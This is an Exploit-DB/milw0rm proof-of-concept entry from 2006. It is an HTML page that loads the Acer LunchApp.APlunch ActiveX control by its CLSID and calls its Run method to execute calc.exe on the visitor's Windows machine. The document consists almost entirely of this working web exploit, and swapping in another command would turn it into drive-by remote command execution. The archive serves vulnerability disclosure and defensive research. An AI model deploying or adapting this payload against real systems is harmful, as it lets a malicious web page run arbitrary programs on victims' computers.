Acer LunchApp.APlunch - ActiveX Control Command Execution

EDB-ID:

2866




Platform:

Windows

Date:

2006-11-30


<!--
Author: Tan Chew Keong 
Site: http://vuln.sg/
Acer Notebook LunchApp.APlunch ActiveX Control Command Execution Exploit
-->

<html>
<body>
<object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3AA" id="hahaha">
</object>
<script>
hahaha.Run("c", "\\windows\\system32\\calc.exe", "");
</script>
</html>
</body>

# milw0rm.com [2006-11-30]